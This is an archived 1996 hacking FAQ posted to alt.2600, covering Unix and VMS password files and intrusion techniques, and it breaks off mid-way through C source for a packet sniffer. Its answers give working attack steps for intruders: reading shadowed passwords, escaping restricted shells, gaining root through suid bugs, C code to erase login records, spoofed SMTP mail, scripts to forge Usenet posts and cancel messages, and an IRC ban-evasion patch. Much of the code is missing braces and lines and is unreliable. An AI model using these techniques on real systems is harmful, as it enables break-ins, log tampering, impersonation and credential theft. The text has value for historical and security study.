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Hack FAQ. No document will make you a hacker

Original is here Ў ftp://rtfm.mit.edu/pub/usenet-by-group/alt.2600/alt.2600_FAQ,_Beta_.013_-_Part_1_1

From: will@gnu.ai.mit.edu (Will Spencer)
Newsgroups: alt.2600,alt.answers,news.answers
Subject: alt.2600 FAQ, Beta .013 - Part 1/1
Date: 30 Jul 1996 11:18:53 -0000
Summary: This posting contains a list of Frequently Asked
Questions (and their answers) about hacking. It
should be read by anyone who wishes to post to the
alt.2600 newsgroup or use the IRC channel #hack.

Archive-Name: alt-2600/faq
Last-Modified: 1996/01/07
Version: Beta .013

Welcome to Beta .013 of the alt.2600/#hack FAQ!

The purpose of this FAQ is to give you a general introduction
to the topics covered in alt.2600 and #hack. No document will
make you a hacker.

If you have a question regarding any of the topics covered in
the FAQ, please direct it to alt.2600. Please do not e-mail me
with them, I do not have time to respond to each request

If your copy of the alt.2600/#hack FAQ does not end with the
letters EOT on a line by themselves, you do not have the entire

If you do not have the entire FAQ, retrieve it from one of
these sites:

Get it on FTP at:
rahul.net /pub/lps/sysadmin/
rtfm.mit.edu /pub/usenet-by-group/alt.2600/
clark.net /pub/jcase/
mirrors.aol.com /pub/rtfm/usenet-by-group/alt.2600/
ftp.winternet.com /users/nitehwk/phreak/

Get it on the World Wide Web at:

Get it on my BBS:
Hacker's Haven (303)343-4053


alt.2600/#Hack F.A.Q.

Beta Revision .013

A TNO Communications Production


Sysop of
Hacker's Haven

Greets go out to:

A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve,
DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit,
Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider,
Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora,
ThePublic, Tomes, and TheSaint.

We work in the dark
We do what we can
We give what we have
Our doubt is our passion, and our passion is our task
The rest is the madness of art.

-- Henry James

When I picture a perfect reader, I always picture a
monster of courage and curiosity, also something
supple, cunning, cautious, a born adventurer and

-- Friedreich Nietzsche

Section A: Computers

01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. What can be logged on a VMS system?
10. What privileges are available on a VMS system?
11. How do I break out of a restricted shell?
12. How do I gain root from a suid script or program?
13. How do I erase my presence from the system logs?
U 14. How do I send fakemail?
15. How do I fake posts and control messages to UseNet?
16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
20. What is an Internet Outdial?
21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
24. What port is XXX on?
25. What is a trojan/worm/virus/logic bomb?
26. How can I protect myself from viruses and such?
27. Where can I get more information about viruses?
28. What is Cryptoxxxxxxx?
29. What is PGP?
30. What is Tempest?
31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
33. How do I defeat copy protection?
34. What is
35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
37. How do I defeat a BIOS password?
N 38. What is the password for < encrypted file > ?
N 39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
N 40. How does the MS-Windows password encryption work?

Section B: Telephony

U 01. What is a Red Box?
02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?
10. What is an ANAC number?
U 11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
22. What is scanning?
23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
25. What are the DTMF frequencies?
26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
28. What frequencies do cordless phones operate on?
29. What is Caller-ID?
30. How do I block Caller-ID?
31. What is a PBX?
32. What is a VMB?
33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?

Section C: Cellular

N 01. What is an MTSO?
N 02. What is a NAM?
N 03. What is an ESN?
N 04. What is an MIN?
N 05. What is a SCN?
N 06. What is a SIDH?
N 07. What are the forward/reverse channels?

Section D: Resources

01. What are some ftp sites of interest to hackers?
02. What are some fsp sites of interest to hackers?
U 03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
U 05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
U 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
U 12. What are some print magazines of interest to hackers?
U 13. What are some e-zines of interest to hackers?
U 14. What are some organizations of interest to hackers?
U 15. What are some radio programs of interest to hackers?
N 16. What are other FAQ's of interest to hackers?
17. Where can I purchase a magnetic stripe encoder/decoder?
18. What are the rainbow books and how can I get them?

Section E: 2600

01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores. What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section F: Miscellaneous

01. What does XXX stand for?
02. How do I determine if I have a valid credit card number?
U 03. What is the layout of data on magnetic stripe cards?
04. What are the ethics of hacking?
05. Where can I get a copy of the alt.2600/#hack FAQ?

U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ

Section A: Computers


01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:

Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory

] Sample entry from /etc/passwd:
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Broken down, this passwd file line shows:

Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. CrackerJack is available via ftp from clark.net

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

04. Where can I find the password file if it's shadowed?

Unix Path Token
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:


To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

] Sample entry from /etc/passwd with password aging installed:
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.

] Password aging characters from above example:
] M.z8

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.

Password Aging Codes
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version

The following activities can be logged:

BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration

The security auditor can be configured to log the following

ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests

10. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the

To determine what privileges your process is running with issue the command:

$ show proc/priv

11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.


% ln suid.sh -i
% -i

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.


suidprog ; id

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));

void kill_wtmp(who)
char *who;
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;

void kill_lastlog(who)
char *who;
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));

} else printf("%s: ?\n",who);

int argc;
char *argv[];
if (argc==2) {
} else

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:

HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."

15. How do I fake posts and control messages to UseNet?

From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT

Anonymous netnews without "anonymous" remailers

Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.

Save any news article to a file. We'll call it "hak" in this example.

Edit "hak", and remove any header lines of the form

From some!random!path!user (note: "From ", not "From: " !!)

Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.

Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.

Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation

To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.

Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks

Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in
the body of your message, you should include the following text,
changed with the description of the group you're creating:

For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows

To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.

Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:

#! /bin/sh
## Post an article via IHAVE.
## args: filename server

if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
if test ! -f $1 ; then
echo $1: not found
exit 1

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119

If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output of
this if you want, to remove obvious peoples' names and other trash.

#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

Once you have your host list, feed it to the following script.

#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet

If the above script is called "findem" and you're using csh, you should do

findem < list >& outfile

so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.

You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous


16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.


Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:

* /NEWUSER <new_username> [new_IRCNAME]
* <new_username> is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channel you
* are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1

Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:

alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
whois $0

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using). Cd into the
source directory and edit the file "edit.c". Make the following

Locate the line which reads:
extern void server();

Insert the following line after it:
static void newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,

Insert the following line after it:
"NEWUSER", NULL, newuser, 0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER <new_username> [new_IRCNAME]
* <new_username> is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.

static void newuser(command, args)
char *command,
char *newuname;

if (newuname = next_arg(args, &args))
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
say("Unable to reconnect. Use /SERVER to connect.");
say("You must specify a username and, optionally, an IRCNAME");


/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
*** 350,354 ****
! if (pwd = getpwuid(uid))
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
char *tmp;

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:

>From the man page for ls:

-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.

-q Forces printing of non-graphic characters in filenames as the
character ``?''.

-b Forces printing of non-graphic characters in the \ddd
notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

>From the man page for cat:

-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.

-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.

-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes. Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad. When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

>From the man page for stty:

Control assignments

control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.

start and stop are available as possible control char-
acters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as unde-

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
Solaris snoop
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek

Here is source code for a sample ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char *malloc();
char *device,
int debug=0;

#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)
time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
time_t Time; /* start time */
struct in_addr SRCip,
u_int SRCport, /* src/dst ports */
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');

char *SERVp(port)
register u_int port;
